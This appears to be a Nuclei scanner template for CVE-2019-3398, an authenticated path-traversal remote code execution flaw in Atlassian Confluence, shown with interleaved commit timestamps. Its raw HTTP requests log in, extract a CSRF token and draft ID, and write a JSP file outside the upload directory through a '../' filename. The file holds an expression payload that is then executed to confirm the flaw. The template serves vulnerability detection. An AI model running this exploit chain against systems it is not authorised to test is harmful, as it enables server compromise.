2023-05-01 12:24:05 +00:00
id : CVE-2019-3398
info :
name : Atlassian Confluence Download Attachments - Remote Code Execution
author : rootxharsh,iamnoooob,pdresearch
severity : high
description : |
Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.
2023-09-06 12:53:28 +00:00
remediation : |
Apply the latest security patches provided by Atlassian to fix the vulnerability.
2023-05-01 12:24:05 +00:00
reference :
- https://blogs.juniper.net/en-us/threat-research/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution
- https://nvd.nist.gov/vuln/detail/CVE-2019-3398
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/152616/Confluence-Server-Data-Center-Path-Traversal.html
- http://packetstormsecurity.com/files/155245/Atlassian-Confluence-6.15.1-Directory-Traversal.html
2023-07-15 16:29:17 +00:00
- https://jira.atlassian.com/browse/CONFSERVER-58102
2023-07-11 19:49:27 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2019-3398
cwe-id : CWE-22
2023-11-12 10:53:59 +00:00
epss-score : 0.97317
epss-percentile : 0.99852
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
2023-06-03 18:56:35 +00:00
metadata :
max-request : 5
2023-07-11 19:49:27 +00:00
vendor : atlassian
product : confluence
2023-07-12 11:56:50 +00:00
tags : packetstorm,cve,cve2019,atlassian,confluence,rce,authenticated,intrusive,kev
2023-05-01 12:24:05 +00:00
variables :
num1 : "{{rand_int(800000, 999999)}}"
num2 : "{{rand_int(800000, 999999)}}"
result : "{{to_number(num1)*to_number(num2)}}"
http :
- raw :
- |
POST /dologin.action HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
os_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination=
- |
GET /pages/createpage.action HTTP/1.1
Host : {{Hostname}}
- |
POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1
Host : {{Hostname}}
${{{num1}}*{{num2}}}
- |
GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1
Host : {{Hostname}}
- |
GET /pages/{{randstr}}.jsp HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
host-redirects : true
max-redirects : 2
2023-07-11 19:49:27 +00:00
2023-05-01 12:24:05 +00:00
matchers-condition : and
matchers :
- type : word
part : body_5
words :
- "{{result}}"
extractors :
- type : regex
name : csrftoken
group : 1
regex :
- 'name="atlassian\-token" content="([a-z0-9]+)"> '
2023-07-11 19:49:27 +00:00
internal : true
part : body
2023-05-01 12:24:05 +00:00
- type : regex
name : draftID
group : 1
regex :
- 'ta name="ajs\-draft\-id" content="([0-9]+)">'
2023-07-11 19:49:27 +00:00
internal : true
part : body
2023-11-14 05:56:48 +00:00
# digest: 490a00463044022053ed47e1b6fc214487a5a47fb2a0b6f3d7c247e60c2b7c81f07ca3537f31bbd8022004ab4d78f3f1fc943b313636fb45adb4e85c95ee32bf8db7bbc356b106905bbc:922c64590222798bb761d5b6d8e72950